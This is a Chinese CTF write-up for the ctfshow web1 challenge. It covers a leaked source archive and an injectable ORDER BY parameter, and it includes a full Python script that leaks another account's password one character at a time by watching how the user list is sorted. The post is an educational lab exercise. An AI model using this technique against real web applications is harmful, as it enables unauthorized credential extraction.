首页 > 其他分享 >ctfshow_web_1(困难题)

ctfshow_web_1(困难题)

时间:2024-05-08 21:33:57浏览次数:25  
标签:web 账号 困难 密码 flag session ctfshow php ascii

CTFshow web1(困难题)

image-20240508193227858

根据前面做题经验,看见登录框基本都是跑一下爆破,弱口令等等

这里用 dirmap 目录爆破爆出来有一个 www.zip

image-20240508193311291

把他下载下来

image-20240508193646942

看了 login.php 和 reg.php

两个文件的源码都对sql注入常见的字符做了严格的过滤,sql注入此路不通

看了下 main.php 看起来是一个显示用户信息的页面。

我们回到登录界面,注册一个账号并登录查看一下是什么样的效果

image-20240508200115551

出来了一个用户信息表,里面是已注册的用户信息

第一行有个提示 flag_is_my_password

看来是要获取这个用户的密码

(才发现题目有提示)

image-20240508201409199

回到 main.php 源码

image-20240508201457797

关键就是这两句,我们可以控制 order by 的参数

我本人到这里就没思路了。看网上别人的 writeup 发现可以利用 ”order by 密码“ 这种方法来猜解密码

手工来操作比较复杂,所以还是得写脚本

这里找到一位大佬写的脚本:
https://blog.csdn.net/miuzzx/article/details/104514442

#author 羽
import requests
url="https://fa8f49b7-5fc6-4dcb-97a1-b0e842429a9b.chall.ctf.show"
url1=url+"/reg.php" #注册页面
url2=url+"/login.php"#登录界面
url3=url+"/user_main.php?order=pwd" #查询界面
k=""
s="-.0123456789:abcdefghijklmnopqrstuvwxyz{|}~"
for j in range(0,45):
    print("*")
    for i in s:
        #print(i)
        l=""
        l=k+i
        l2 = k+chr(ord(i)-1)
        data={'username':l,
                    'email':'c',
                    'nickname':'c',
                    'password':l
        }
        data2={'username':l,
                      'password':l
        }
        if (l=='flag'):
            k='flag'
            print(k)
            break
        session = requests.session()
        r1 = session.post(url1,data)
        r2 = session.post(url2,data)
        r3 = session.get(url3)
        t = r3.text
        #print(l)
        if (t.index("<td>"+l+"</td>")>t.index("<td>flag@ctf.show</td>")):
            k=l2
            print(k)
            break

我对这位大佬脚本实现原理的解析:

原网页可以控制 order by 子句的参数,这里可以设置为按照密码排序

按照密码排序时,密码是按照首字符的 ascii 值的大小来排序的。

脚本作者通过爆破字符的方式,注册新账号,并为这些新账号设置1位、2位… 45位的密码,通过查看这些新创建的账号排位是在 flag 账号的上方还是下方来推测 flag 账号的密码。

当设置的密码某一位 ascii 值比 flag 账号的密码对应位的 ascii 值小,就会排在 flag 账号的上面;如果和对应位相等,还是排在上面(因为密码的总长度);只有比对应位的 ascii 值大,这个账号才会排在 flag 账号的下面。

光说明有点抽象,直接看图:

image-20240508210539747

这位大佬的脚本通过一个很巧妙的方式来判断这些记录是在 flag 的上方还是下方(用 t.find也行,同样是返回该标签的首字符位置)

if (t.index("<td>"+l+"</td>")>t.index("<td>flag@ctf.show</td>")):

就是通过 指定字符串 index 的值

值更大,就是在下方

网上很多人的疑问:

为什么这个脚本跑出来的 flag 最后会是 ‘|’ 符号?

这是因为这位大佬的脚本里爆破字符的列表 ‘s’ 里面带有了 ‘|’ 符号

分别查看 ‘{‘ ‘}’ ‘|‘ 这三个字符的 ascii 码,会发现一个很有趣的现象

{:123

|:124

}:125

没错,两个花括号的 ascii 码不是连着的。

image-20240508211342947

原理就研究到这里,我们接下来跑一下这个代码

image-20240508211535898

flag 到手

标签:web,账号,困难,密码,flag,session,ctfshow,php,ascii
From: https://www.cnblogs.com/endermanneer/p/18180926

相关文章

  • websocket-sharp:.NET平台上的WebSocket客户端与服务器开源库
    1.简介:websocket-sharp提供WebSocket客户端和服务器库,基于C#开发的,并遵循WebSocket协议规范,使得开发人员能够轻松地在.NET应用程序中实现WebSocket通信。https://github.com/sta/websocket-sharpwebsocket-sharp特色功能有:1、简洁易用的API:提供清晰且直观的API接......
  • webassets:web 静态资源管理工具
    Pythonwebassets库是一个用于管理web静态资源的工具,如CSS、JavaScript等,帮助开发者更有效地管理和优化网站的静态文件。本文将介绍如何安装和使用Pythonwebassets库,以及它的特性、基本功能、高级功能、实际应用场景和总结部分。安装首先,需要安装Pythonwebassets库。可以使......
  • Web 1.0、Web 2.0 和 Web 3.0网络的发展与特点
    Web1.0、Web2.0和Web3.0规划了网站和网络应用的发展,每个阶段由不同的技术特点和典型案例标示。Web1.0(静态网页时代)Web1.0,通常指的是互联网的最早阶段,从大约1991年开始,持续到2000年左右。这一时期的互联网称为"静态网"或"只读网",具有以下几个显著特点:静态页面:网站由静态......
  • 为javaweb项目中的所有jsp页面设置相同字符集
    配置web.xml文件<?xmlversion="1.0"encoding="UTF-8"?><web-appxmlns="https://jakarta.ee/xml/ns/jakartaee"xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"xsi:schemaLocation="https://jakarta.ee/......
  • 在Gitlab Runner中调用Web Api写入Directory.Build.props需要的版本号文件
    摘要本文介绍了在Windows上的GitlabRunner,如何调用webapi更新版本号定义文件。PowerShellfunctionUpdate-Version{ param( [string]$WEB_API_URL, [string]$NAMESPACE, [string]$VERSION_ID )echo"能生成或写入.props文件的webapi的网站地址:"$WEB_API_URLe......
  • web 中过滤器和监听器
    MVC模型MVC模式代表Model-View-Controller(模型-视图-控制器)模式。这种模式用于应用程序的分层开发。Model(模型)-模型代表一个存取数据的对象或JAVAPOJO。它也可以带有逻辑,在数据变化时更新控制器。View(视图)-视图代表模型包含的数据的可视化。Controller(控制器)-控......
  • 机台统一管理有多困难?但现在出现可行的解决方案了!
    机台的统一管理对于企业来说对提高生产效率、降低成本、优化资源配置以及保障生产安全等方面都具有至关重要的作用。但企业机台统一管理却存在实际的困难,主要体现在:多样化的设备和运作模式:由于机台设备可能来自不同的厂商,其规格、运行环境和上报方式各不相同。这导致难以采用统......
  • 3D 可视化:18 个 WebGL 框架和 Web3D 图形库
    3D可视化:18个WebGL框架和Web3D图形库作者:2D3D前端可视化开发2023-02-10湖南本文字数:2904字阅读完需:约10分钟WebGL是基于OpenGL的JavaScriptAPI库,允许Web浏览器在浏览器中渲染3D/2D图形,而无需安装额外的插件、桌面应用程序。WebGL允许......
  • Stable Diffusion webui.sh(Version: v1.9.3)选项翻译
    补充解释:Linux/iOS的目录==Windows文件夹options选项:-h,--help显示帮助信息并退出程序 showthishelpmessageandexit--update-all-extensions在启动时更新所有扩展插件 (此为launch.py脚本的参数,下同)launch.pyargument:downloadupdatesforallextensi......
  • 【hvv训练】应急响应靶机训练-Web2
    前言应急响应靶机训练,为保证每位安服仔都有上手的机会,不做理论学家,增加动手经验,可前来挑战应急响应靶机-web1,此系列后期会长期更新,关注本公众号,被动学习。隔日会发题解,请大家务必关注我们。挑战内容前景需要:小李在某单位驻场值守,深夜12点,甲方已经回家了,小李刚偷偷摸鱼后,发现......